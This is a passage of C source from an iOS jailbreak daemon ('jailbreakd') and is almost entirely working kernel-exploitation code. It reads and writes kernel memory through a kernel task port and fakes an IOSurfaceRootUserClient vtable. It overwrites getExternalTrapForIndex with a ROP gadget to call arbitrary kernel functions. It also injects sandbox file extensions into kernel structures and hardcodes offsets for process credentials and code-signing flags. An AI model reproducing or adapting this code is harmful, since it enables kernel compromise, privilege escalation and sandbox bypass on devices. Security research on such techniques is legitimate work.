"kexecute.h" 4 | #include "kern_utils.h" 5 | #include "patchfinder64.h" 6 | #include "offsetof.h" 7 | 8 | mach_port_t prepare_user_client(void) { 9 | kern_return_t err; 10 | mach_port_t user_client; 11 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 12 | 13 | if (service == IO_OBJECT_NULL){ 14 | printf(" [-] unable to find service\n"); 15 | exit(EXIT_FAILURE); 16 | } 17 | 18 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 19 | if (err != KERN_SUCCESS){ 20 | printf(" [-] unable to get user client connection\n"); 21 | exit(EXIT_FAILURE); 22 | } 23 | 24 | 25 | printf("got user client: 0x%x\n", user_client); 26 | return user_client; 27 | } 28 | 29 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread 30 | pthread_mutex_t kexecute_lock; 31 | static mach_port_t user_client; 32 | static uint64_t IOSurfaceRootUserClient_port; 33 | static uint64_t IOSurfaceRootUserClient_addr; 34 | static uint64_t fake_vtable; 35 | static uint64_t fake_client; 36 | const int fake_kalloc_size = 0x1000; 37 | 38 | void init_kexecute(void) { 39 | user_client = prepare_user_client(); 40 | 41 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 42 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 43 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port); 44 | 45 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 46 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr); 47 | 48 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 49 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab); 50 | 51 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 52 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 53 | 54 | 55 | // Create the vtable in the kernel memory, then copy the existing vtable into there 56 | fake_vtable = kalloc(fake_kalloc_size); 57 | printf("Created fake_vtable at %016llx\n", fake_vtable); 58 | 59 | for (int i = 0; i < 0x200; i++) { 60 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 61 | } 62 | 63 | printf("Copied some of the vtable over\n"); 64 | 65 | // Create the fake user client 66 | fake_client = kalloc(fake_kalloc_size); 67 | printf("Created fake_client at %016llx\n", fake_client); 68 | 69 | for (int i = 0; i < 0x200; i++) { 70 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 71 | } 72 | 73 | printf("Copied the user client over\n"); 74 | 75 | // Write our fake vtable into the fake user client 76 | wk64(fake_client, fake_vtable); 77 | 78 | // Replace the user client with ours 79 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 80 | 81 | // Now the userclient port we have will look into our fake user client rather than the old one 82 | 83 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 84 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 85 | 86 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex"); 87 | 88 | pthread_mutex_init(&kexecute_lock, NULL); 89 | } 90 | 91 | void term_kexecute(void) { 92 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 93 | kfree(fake_vtable, fake_kalloc_size); 94 | kfree(fake_client, fake_kalloc_size); 95 | } 96 | 97 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 98 | pthread_mutex_lock(&kexecute_lock); 99 | 100 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 101 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 102 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 103 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 104 | // through like normal. 105 | 106 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 107 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 108 | // (i'm not actually sure if the switch back is necessary but meh) 109 | 110 | uint64_t offx20 = rk64(fake_client+0x40); 111 | uint64_t offx28 = rk64(fake_client+0x48); 112 | wk64(fake_client+0x40, x0); 113 | wk64(fake_client+0x48, addr); 114 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 115 | wk64(fake_client+0x40, offx20); 116 | wk64(fake_client+0x48, offx28); 117 | 118 | pthread_mutex_unlock(&kexecute_lock); 119 | 120 | return returnval; 121 | } -------------------------------------------------------------------------------- /basebinaries/jailbreakd/kexecute.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6); 5 | void init_kexecute(void); 6 | void term_kexecute(void); 7 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/kmem.c: -------------------------------------------------------------------------------- 1 | #import "kern_utils.h" 2 | #import "patchfinder64.h" 3 | #import "kmem.h" 4 | 5 | #define MAX_CHUNK_SIZE 0xFFF 6 | 7 | size_t kread(uint64_t where, void *p, size_t size) { 8 | int rv; 9 | size_t offset = 0; 10 | while (offset < size) { 11 | mach_vm_size_t sz, chunk = MAX_CHUNK_SIZE; 12 | if (chunk > size - offset) { 13 | chunk = size - offset; 14 | } 15 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 16 | if (rv || sz == 0) { 17 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 18 | break; 19 | } 20 | offset += sz; 21 | } 22 | return offset; 23 | } 24 | 25 | size_t kwrite(uint64_t where, const void *p, size_t size) { 26 | int rv; 27 | size_t offset = 0; 28 | while (offset < size) { 29 | size_t chunk = MAX_CHUNK_SIZE; 30 | if (chunk > size - offset) { 31 | chunk = size - offset; 32 | } 33 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); 34 | if (rv) { 35 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); 36 | break; 37 | } 38 | offset += chunk; 39 | } 40 | return offset; 41 | } 42 | 43 | uint64_t kalloc(vm_size_t size){ 44 | mach_vm_address_t address = 0; 45 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE); 46 | return address; 47 | } 48 | 49 | void kfree(mach_vm_address_t address, vm_size_t size){ 50 | mach_vm_deallocate(tfpzero, address, size); 51 | } 52 | 53 | uint32_t rk32(uint64_t kaddr) { 54 | uint32_t val = 0; 55 | kread(kaddr, &val, sizeof(val)); 56 | return val; 57 | } 58 | 59 | uint64_t rk64(uint64_t kaddr) { 60 | uint64_t val = 0; 61 | kread(kaddr, &val, sizeof(val)); 62 | return val; 63 | } 64 | 65 | void wk32(uint64_t kaddr, uint32_t val) { 66 | kwrite(kaddr, &val, sizeof(val)); 67 | } 68 | 69 | void wk64(uint64_t kaddr, uint64_t val) { 70 | kwrite(kaddr, &val, sizeof(val)); 71 | } 72 | 73 | // thx Siguza 74 | typedef struct { 75 | uint64_t prev; 76 | uint64_t next; 77 | uint64_t start; 78 | uint64_t end; 79 | } kmap_hdr_t; 80 | 81 | uint64_t zm_fix_addr(uint64_t addr) { 82 | static kmap_hdr_t zm_hdr = {0, 0, 0, 0}; 83 | 84 | if (zm_hdr.start == 0) { 85 | // xxx rk64(0) ?! 86 | uint64_t zone_map = rk64(find_zone_map_ref()); 87 | // hdr is at offset 0x10, mutexes at start 88 | size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr)); 89 | printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr)); 90 | 91 | if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) { 92 | printf("kread of zone_map failed!\n"); 93 | exit(1); 94 | } 95 | 96 | if (zm_hdr.end - zm_hdr.start > 0x100000000) { 97 | printf("zone_map is too big, sorry.\n"); 98 | exit(1); 99 | } 100 | } 101 | 102 | uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff); 103 | 104 | return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp; 105 | } 106 | 107 | int kstrcmp(uint64_t kstr, const char* str) { 108 | // XXX be safer, dont just assume you wont cause any 109 | // page faults by this 110 | size_t len = strlen(str) + 1; 111 | char *local = malloc(len + 1); 112 | local[len] = '\0'; 113 | 114 | int ret = 1; 115 | 116 | if (kread(kstr, local, len) == len) { 117 | ret = strcmp(local, str); 118 | } 119 | 120 | free(local); 121 | 122 | return ret; 123 | } 124 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/kmem.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | uint64_t kalloc(vm_size_t size); 4 | void kfree(mach_vm_address_t address, vm_size_t size); 5 | 6 | size_t kread(uint64_t where, void *p, size_t size); 7 | uint32_t rk32(uint64_t kaddr); 8 | uint64_t rk64(uint64_t kaddr); 9 | 10 | size_t kwrite(uint64_t where, const void *p, size_t size); 11 | void wk32(uint64_t kaddr, uint32_t val); 12 | void wk64(uint64_t kaddr, uint64_t val); 13 | 14 | uint64_t zm_fix_addr(uint64_t addr); 15 | 16 | int kstrcmp(uint64_t kstr, const char* str); 17 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/offsetof.c: -------------------------------------------------------------------------------- 1 | 2 | unsigned offsetof_p_pid = 0x10; // proc_t::p_pid 3 | unsigned offsetof_task = 0x18; // proc_t::task 4 | unsigned offsetof_p_uid = 0x30; // proc_t::p_uid 5 | unsigned offsetof_p_gid = 0x34; // proc_t::p_uid 6 | unsigned offsetof_p_ruid = 0x38; // proc_t::p_uid 7 | unsigned offsetof_p_rgid = 0x3c; // proc_t::p_uid 8 | unsigned offsetof_p_ucred = 0x100; // proc_t::p_ucred 9 | unsigned offsetof_p_csflags = 0x2a8; // proc_t::p_csflags 10 | unsigned offsetof_itk_self = 0xD8; // task_t::itk_self (convert_task_to_port) 11 | unsigned offsetof_itk_sself = 0xE8; // task_t::itk_sself (task_get_special_port) 12 | unsigned offsetof_itk_bootstrap = 0x2b8; // task_t::itk_bootstrap (task_get_special_port) 13 | unsigned offsetof_itk_space = 0x308; // task_t::itk_space 14 | unsigned offsetof_ip_mscount = 0x9C; // ipc_port_t::ip_mscount (ipc_port_make_send) 15 | unsigned offsetof_ip_srights = 0xA0; // ipc_port_t::ip_srights (ipc_port_make_send) 16 | unsigned offsetof_ip_kobject = 0x68; // ipc_port_t::ip_kobject 17 | unsigned offsetof_p_textvp = 0x248; // proc_t::p_textvp 18 | unsigned offsetof_p_textoff = 0x250; // proc_t::p_textoff 19 | unsigned offsetof_p_cputype = 0x2c0; // proc_t::p_cputype 20 | unsigned offsetof_p_cpu_subtype = 0x2c4; // proc_t::p_cpu_subtype 21 | unsigned offsetof_special = 2 * sizeof(long); // host::special 22 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?.. 23 | 24 | unsigned offsetof_ucred_cr_uid = 0x18; // ucred::cr_uid 25 | unsigned offsetof_ucred_cr_ruid = 0x1c; // ucred::cr_ruid 26 | unsigned offsetof_ucred_cr_svuid = 0x20; // ucred::cr_svuid 27 | 28 | unsigned offsetof_v_type = 0x70; // vnode::v_type 29 | unsigned offsetof_v_id = 0x74; // vnode::v_id 30 | unsigned offsetof_v_ubcinfo = 0x78; // vnode::v_ubcinfo 31 | 32 | unsigned offsetof_ubcinfo_csblobs = 0x50; // ubc_info::csblobs 33 | 34 | unsigned offsetof_csb_cputype = 0x8; // cs_blob::csb_cputype 35 | unsigned offsetof_csb_flags = 0x12; // cs_blob::csb_flags 36 | unsigned offsetof_csb_base_offset = 0x16; // cs_blob::csb_base_offset 37 | unsigned offsetof_csb_entitlements_offset = 0x98; // cs_blob::csb_entitlements 38 | unsigned offsetof_csb_signer_type = 0xA0; // cs_blob::csb_signer_type 39 | unsigned offsetof_csb_platform_binary = 0xA4; // cs_blob::csb_platform_binary 40 | unsigned offsetof_csb_platform_path = 0xA8; // cs_blob::csb_platform_path 41 | 42 | unsigned offsetof_t_flags = 0x3a0; // task::t_flags 43 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/offsetof.h: -------------------------------------------------------------------------------- 1 | extern unsigned offsetof_p_pid; 2 | extern unsigned offsetof_task; 3 | extern unsigned offsetof_p_uid; 4 | extern unsigned offsetof_p_gid; 5 | extern unsigned offsetof_p_ruid; 6 | extern unsigned offsetof_p_rgid; 7 | extern unsigned offsetof_p_ucred; 8 | extern unsigned offsetof_p_csflags; 9 | extern unsigned offsetof_itk_self; 10 | extern unsigned offsetof_itk_sself; 11 | extern unsigned offsetof_itk_bootstrap; 12 | extern unsigned offsetof_itk_space; 13 | extern unsigned offsetof_ip_mscount; 14 | extern unsigned offsetof_ip_srights; 15 | extern unsigned offsetof_ip_kobject; 16 | extern unsigned offsetof_p_textvp; 17 | extern unsigned offsetof_p_textoff; 18 | extern unsigned offsetof_p_cputype; 19 | extern unsigned offsetof_p_cpu_subtype; 20 | extern unsigned offsetof_special; 21 | extern unsigned offsetof_ipc_space_is_table; 22 | 23 | extern unsigned offsetof_ucred_cr_uid; 24 | extern unsigned offsetof_ucred_cr_ruid; 25 | extern unsigned offsetof_ucred_cr_svuid; 26 | 27 | extern unsigned offsetof_v_type; 28 | extern unsigned offsetof_v_id; 29 | extern unsigned offsetof_v_ubcinfo; 30 | 31 | extern unsigned offsetof_ubcinfo_csblobs; 32 | 33 | extern unsigned offsetof_csb_cputype; 34 | extern unsigned offsetof_csb_flags; 35 | extern unsigned offsetof_csb_base_offset; 36 | extern unsigned offsetof_csb_entitlements_offset; 37 | extern unsigned offsetof_csb_signer_type; 38 | extern unsigned offsetof_csb_platform_binary; 39 | extern unsigned offsetof_csb_platform_path; 40 | 41 | extern unsigned offsetof_t_flags; 42 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/osobject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kexecute.h" 3 | #include "kmem.h" 4 | #include "patchfinder64.h" 5 | #include "osobject.h" 6 | 7 | // offsets in vtable: 8 | static uint32_t off_OSDictionary_SetObjectWithCharP = sizeof(void*) * 0x1F; 9 | static uint32_t off_OSDictionary_GetObjectWithCharP = sizeof(void*) * 0x26; 10 | static uint32_t off_OSDictionary_Merge = sizeof(void*) * 0x23; 11 | 12 | static uint32_t off_OSArray_Merge = sizeof(void*) * 0x1E; 13 | static uint32_t off_OSArray_RemoveObject = sizeof(void*) * 0x20; 14 | static uint32_t off_OSArray_GetObject = sizeof(void*) * 0x22; 15 | 16 | static uint32_t off_OSObject_Release = sizeof(void*) * 0x05; 17 | static uint32_t off_OSObject_GetRetainCount = sizeof(void*) * 0x03; 18 | static uint32_t off_OSObject_Retain = sizeof(void*) * 0x04; 19 | 20 | static uint32_t off_OSString_GetLength = sizeof(void*) * 0x11; 21 | 22 | // 1 on success, 0 on error 23 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val) { 24 | size_t len = strlen(key) + 1; 25 | 26 | uint64_t ks = kalloc(len); 27 | kwrite(ks, key, len); 28 | 29 | uint64_t vtab = rk64(dict); 30 | uint64_t f = rk64(vtab + off_OSDictionary_SetObjectWithCharP); 31 | 32 | int rv = (int) kexecute(f, dict, ks, val, 0, 0, 0, 0); 33 | 34 | kfree(ks, len); 35 | 36 | return rv; 37 | } 38 | 39 | // XXX it can return 0 in lower 32 bits but still be valid 40 | // fix addr of returned value and check if rk64 gives ptr 41 | // to vtable addr saved before 42 | 43 | // address if exists, 0 if not 44 | uint64_t _OSDictionary_GetItem(uint64_t dict, const char *key) { 45 | size_t len = strlen(key) + 1; 46 | 47 | uint64_t ks = kalloc(len); 48 | kwrite(ks, key, len); 49 | 50 | uint64_t vtab = rk64(dict); 51 | uint64_t f = rk64(vtab + off_OSDictionary_GetObjectWithCharP); 52 | 53 | int rv = (int) kexecute(f, dict, ks, 0, 0, 0, 0, 0); 54 | 55 | kfree(ks, len); 56 | 57 | return rv; 58 | } 59 | 60 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key) { 61 | uint64_t ret = _OSDictionary_GetItem(dict, key); 62 | 63 | if (ret != 0) { 64 | // XXX can it be not in zalloc?.. 65 | ret = zm_fix_addr(ret); 66 | } 67 | 68 | return ret; 69 | } 70 | 71 | // 1 on success, 0 on error 72 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict) { 73 | uint64_t vtab = rk64(dict); 74 | uint64_t f = rk64(vtab + off_OSDictionary_Merge); 75 | 76 | return (int) kexecute(f, dict, aDict, 0, 0, 0, 0, 0); 77 | } 78 | 79 | // 1 on success, 0 on error 80 | int OSArray_Merge(uint64_t array, uint64_t aArray) { 81 | uint64_t vtab = rk64(array); 82 | uint64_t f = rk64(vtab + off_OSArray_Merge); 83 | 84 | return (int) kexecute(f, array, aArray, 0, 0, 0, 0, 0); 85 | } 86 | 87 | uint64_t _OSArray_GetObject(uint64_t array, unsigned int idx){ 88 | uint64_t vtab = rk64(array); 89 | uint64_t f = rk64(vtab + off_OSArray_GetObject); 90 | 91 | return kexecute(f, array, idx, 0, 0, 0, 0, 0); 92 | } 93 | 94 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx){ 95 | uint64_t ret = _OSArray_GetObject(array, idx); 96 | 97 | if (ret != 0){ 98 | // XXX can it be not in zalloc?.. 99 | ret = zm_fix_addr(ret); 100 | } 101 | return ret; 102 | } 103 | 104 | void OSArray_RemoveObject(uint64_t array, unsigned int idx){ 105 | uint64_t vtab = rk64(array); 106 | uint64_t f = rk64(vtab + off_OSArray_RemoveObject); 107 | 108 | (void)kexecute(f, array, idx, 0, 0, 0, 0, 0); 109 | } 110 | 111 | // XXX error handling just for fun? :) 112 | uint64_t _OSUnserializeXML(const char* buffer) { 113 | size_t len = strlen(buffer) + 1; 114 | 115 | uint64_t ks = kalloc(len); 116 | kwrite(ks, buffer, len); 117 | 118 | uint64_t errorptr = 0; 119 | 120 | uint64_t rv = kexecute(find_osunserializexml(), ks, errorptr, 0, 0, 0, 0, 0); 121 | kfree(ks, len); 122 | 123 | return rv; 124 | } 125 | 126 | uint64_t OSUnserializeXML(const char* buffer) { 127 | uint64_t ret = _OSUnserializeXML(buffer); 128 | 129 | if (ret != 0) { 130 | // XXX can it be not in zalloc?.. 131 | ret = zm_fix_addr(ret); 132 | } 133 | 134 | return ret; 135 | } 136 | 137 | void OSObject_Release(uint64_t osobject) { 138 | uint64_t vtab = rk64(osobject); 139 | uint64_t f = rk64(vtab + off_OSObject_Release); 140 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 141 | } 142 | 143 | void OSObject_Retain(uint64_t osobject) { 144 | uint64_t vtab = rk64(osobject); 145 | uint64_t f = rk64(vtab + off_OSObject_Release); 146 | (void) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 147 | } 148 | 149 | uint32_t OSObject_GetRetainCount(uint64_t osobject) { 150 | uint64_t vtab = rk64(osobject); 151 | uint64_t f = rk64(vtab + off_OSObject_Release); 152 | return (uint32_t) kexecute(f, osobject, 0, 0, 0, 0, 0, 0); 153 | } 154 | 155 | unsigned int OSString_GetLength(uint64_t osstring){ 156 | uint64_t vtab = rk64(osstring); 157 | uint64_t f = rk64(vtab + off_OSString_GetLength); 158 | return (unsigned int)kexecute(f, osstring, 0, 0, 0, 0, 0, 0); 159 | } 160 | 161 | char *OSString_CopyString(uint64_t osstring){ 162 | unsigned int length = OSString_GetLength(osstring); 163 | char *str = malloc(length + 1); 164 | str[length] = 0; 165 | 166 | kread(OSString_CStringPtr(osstring), str, length); 167 | return str; 168 | } 169 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/osobject.h: -------------------------------------------------------------------------------- 1 | #define OSDictionary_ItemCount(dict) rk32(dict+20) 2 | #define OSDictionary_ItemBuffer(dict) rk64(dict+32) 3 | #define OSDictionary_ItemKey(buffer, idx) rk64(buffer+16*idx) 4 | #define OSDictionary_ItemValue(buffer, idx) rk64(buffer+16*idx+8) 5 | #define OSString_CStringPtr(str) rk64(str + 0x10) 6 | #define OSArray_ItemCount(arr) rk32(arr+0x14) 7 | #define OSArray_ItemBuffer(arr) rk64(arr+32) 8 | 9 | // see osobject.c for info 10 | 11 | int OSDictionary_SetItem(uint64_t dict, const char *key, uint64_t val); 12 | uint64_t OSDictionary_GetItem(uint64_t dict, const char *key); 13 | int OSDictionary_Merge(uint64_t dict, uint64_t aDict); 14 | void OSArray_RemoveObject(uint64_t array, unsigned int idx); 15 | uint64_t OSArray_GetObject(uint64_t array, unsigned int idx); 16 | int OSArray_Merge(uint64_t array, uint64_t aArray); 17 | uint64_t OSUnserializeXML(const char* buffer); 18 | 19 | void OSObject_Release(uint64_t osobject); 20 | void OSObject_Retain(uint64_t osobject); 21 | uint32_t OSObject_GetRetainCount(uint64_t osobject); 22 | 23 | unsigned int OSString_GetLength(uint64_t osstring); 24 | char *OSString_CopyString(uint64_t osstring); 25 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/patchfinder64.h: -------------------------------------------------------------------------------- 1 | #ifndef PATCHFINDER64_H_ 2 | #define PATCHFINDER64_H_ 3 | 4 | #define CACHED_FIND(type, name) \ 5 | type __##name(void);\ 6 | type name(void) { \ 7 | static type cached = 0; \ 8 | if (cached == 0) { \ 9 | cached = __##name(); \ 10 | } \ 11 | return cached; \ 12 | } \ 13 | type __##name(void) 14 | 15 | int init_kernel(uint64_t base, const char *filename); 16 | void term_kernel(void); 17 | 18 | // Fun part 19 | uint64_t find_allproc(void); 20 | uint64_t find_add_x0_x0_0x40_ret(void); 21 | uint64_t find_OSBoolean_True(void); 22 | uint64_t find_OSBoolean_False(void); 23 | uint64_t find_zone_map_ref(void); 24 | uint64_t find_osunserializexml(void); 25 | uint64_t find_smalloc(void); 26 | 27 | #endif 28 | -------------------------------------------------------------------------------- /basebinaries/jailbreakd/sandbox.c: -------------------------------------------------------------------------------- 1 | #include "kmem.h" 2 | #include "kern_utils.h" 3 | #include "sandbox.h" 4 | #include "patchfinder64.h" 5 | #include "kexecute.h" 6 | 7 | 8 | typedef uint64_t extension_hdr_t; 9 | typedef uint64_t extension_t; 10 | 11 | struct extension_hdr { 12 | /* 0x00 */ extension_hdr_t next; 13 | /* 0x08 */ uint64_t desc; 14 | /* 0x10 */ extension_t ext_lst; 15 | /* 0x18 */ 16 | }; 17 | 18 | struct extension { 19 | /* 0x00 */ extension_t next; 20 | /* 0x08 */ uint64_t desc; // always 0xffffffffffffffff 21 | /* 0x10 */ uint64_t ext_lst; // zero, since it's extension and not a header 22 | /* 0x18 */ uint8_t something[32]; // zeroed from what I've seen 23 | /* 0x38 */ uint32_t type; // see ext_type enum 24 | /* 0x3c */ uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..) 25 | /* 0x40 */ uint64_t data; // a c string, meaning depends on type and hdr which had this extension 26 | /* 0x48 */ uint64_t data_len; // strlen(data) 27 | /* 0x50 */ uint64_t unk0; // always 0 28 | /* 0x58 */ uint64_t unk1; // always 0xdeadbeefdeadbeef 29 | /* 0x60 */ 30 | }; 31 | 32 | uint64_t _smalloc(uint64_t size) { 33 | return kexecute(find_smalloc(), size, 0, 0, 0, 0, 0, 0); 34 | } 35 | 36 | uint64_t smalloc(uint64_t size) { 37 | uint64_t ret = _smalloc(size); 38 | 39 | if (ret != 0) { 40 | // IOAlloc's of small size go to zalloc 41 | ret = zm_fix_addr(ret); 42 | } 43 | 44 | return ret; 45 | } 46 | 47 | uint64_t sstrdup(const char* s) { 48 | size_t slen = strlen(s) + 1; 49 | 50 | uint64_t ks = smalloc(slen); 51 | if (ks) { 52 | kwrite(ks, s, slen); 53 | } 54 | 55 | return ks; 56 | } 57 | 58 | // Notice: path should *not* end with '/' ! 59 | uint64_t extension_create_file(const char* path, uint64_t nextptr) { 60 | size_t slen = strlen(path); 61 | 62 | if (path[slen - 1] == '/') { 63 | fprintf(stderr, "No traling slash in path pls\n"); 64 | return 0; 65 | } 66 | 67 | uint64_t ext_p = smalloc(sizeof(struct extension)); 68 | uint64_t ks = sstrdup(path); 69 | 70 | if (ext_p && ks) { 71 | struct extension ext; 72 | bzero(&ext, sizeof(ext)); 73 | ext.next = nextptr; 74 | ext.desc = 0xffffffffffffffff; 75 | 76 | // ext.type = 0; 77 | // ext.subtype = 0; 78 | 79 | ext.data = ks; 80 | ext.data_len = slen; 81 | 82 | kwrite(ext_p, &ext, sizeof(ext)); 83 | } else { 84 | // XXX oh no a leak 85 | } 86 | 87 | return ext_p; 88 | } 89 | 90 | 91 | // get 64 higher bits of 64bit int multiplication 92 | // https://stackoverflow.com/a/28904636 93 | // ofc in asm it's done with 1 instruction huh 94 | // XXX there has to be a cleaner way utilizing hardware support 95 | uint64_t mulhi(uint64_t a, uint64_t b) { 96 | uint64_t a_lo = (uint32_t)a; 97 | uint64_t a_hi = a >> 32; 98 | uint64_t b_lo = (uint32_t)b; 99 | uint64_t b_hi = b >> 32; 100 | 101 | uint64_t a_x_b_hi = a_hi * b_hi; 102 | uint64_t a_x_b_mid = a_hi * b_lo; 103 | uint64_t b_x_a_mid = b_hi * a_lo; 104 | uint64_t a_x_b_lo = a_lo * b_lo; 105 | 106 | uint64_t carry_bit = ((uint64_t)(uint32_t)a_x_b_mid + 107 | (uint64_t)(uint32_t)b_x_a_mid + 108 | (a_x_b_lo >> 32) ) >> 32; 109 | 110 | uint64_t multhi = a_x_b_hi + 111 | (a_x_b_mid >> 32) + (b_x_a_mid >> 32) + 112 | carry_bit; 113 | 114 | return multhi; 115 | } 116 | 117 | int hashing_magic(const char *desc) { 118 | // inlined into exception_add 119 | uint64_t hashed = 0x1505; 120 | 121 | // if desc == NULL, then returned value would be 8 122 | // APPL optimizes it for some reason 123 | // but meh, desc should never be NULL or you get 124 | // null dereference in exception_add 125 | // if (desc == NULL) return 8; 126 | 127 | if (desc != NULL) { 128 | for (const char* dp = desc; *dp != '\0'; ++dp) { 129 | hashed += hashed << 5; 130 | hashed += (int64_t) *dp; 131 | } 132 | } 133 | 134 | uint64_t magic = 0xe38e38e38e38e38f; 135 | 136 | uint64_t hi = mulhi(hashed, magic); 137 | hi >>= 3; 138 | hi = (hi<<3) + hi; 139 | 140 | hashed -= hi; 141 | 142 | return hashed; 143 | } 144 | 145 | static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only"; 146 | 147 | uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) { 148 | struct extension_hdr hdr; 149 | 150 | uint64_t khdr = smalloc(sizeof(hdr)); 151 | 152 | if (khdr) { 153 | // we add headers to end 154 | hdr.next = 0; 155 | hdr.desc = sstrdup(key); 156 | if (hdr.desc == 0) { 157 | // XXX leak 158 | return 0; 159 | } 160 | 161 | hdr.ext_lst = ext_lst; 162 | kwrite(khdr, &hdr, sizeof(hdr)); 163 | } 164 | 165 | return khdr; 166 | } 167 | 168 | void extension_add(uint64_t ext, uint64_t sb, const char* desc) { 169 | // XXX patchfinder + kexecute would be way better 170 | 171 | int slot = hashing_magic(ent_key); 172 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); 173 | uint64_t insert_at = rk64(insert_at_p); 174 | 175 | while (insert_at != 0) { 176 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); 177 | 178 | if (kstrcmp(kdsc, desc) == 0) { 179 | break; 180 | } 181 | 182 | insert_at_p = insert_at; 183 | insert_at = rk64(insert_at); 184 | } 185 | 186 | if (insert_at == 0) { 187 | insert_at = make_ext_hdr(ent_key, ext); 188 | wk64(insert_at_p, insert_at); 189 | } else { 190 | // XXX no duplicate check 191 | uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst); 192 | uint64_t ext_lst = rk64(ext_lst_p); 193 | 194 | while (ext_lst != 0) { 195 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); 196 | ext_lst_p = ext_lst + offsetof(struct extension, next); 197 | ext_lst = rk64(ext_lst_p); 198 | } 199 | 200 | fprintf(stderr, "ext_lst_p = 0x%llx ext_lst = 0x%llx\n", ext_lst_p, ext_lst); 201 | 202 | wk64(ext_lst_p, ext); 203 | } 204 | } 205 | 206 | // 1 if yes 207 | int has_file_extension(uint64_t sb, const char* path) { 208 | const char* desc = ent_key; 209 | int found = 0; 210 | 211 | int slot = hashing_magic(ent_key); 212 | uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*); 213 | uint64_t insert_at = rk64(insert_at_p); 214 | 215 | while (insert_at != 0) { 216 | uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc)); 217 | 218 | if (kstrcmp(kdsc, desc) == 0) { 219 | break; 220 | } 221 | 222 | insert_at_p = insert_at; 223 | insert_at = rk64(insert_at); 224 | } 225 | 226 | if (insert_at != 0) { 227 | uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst)); 228 | 229 | 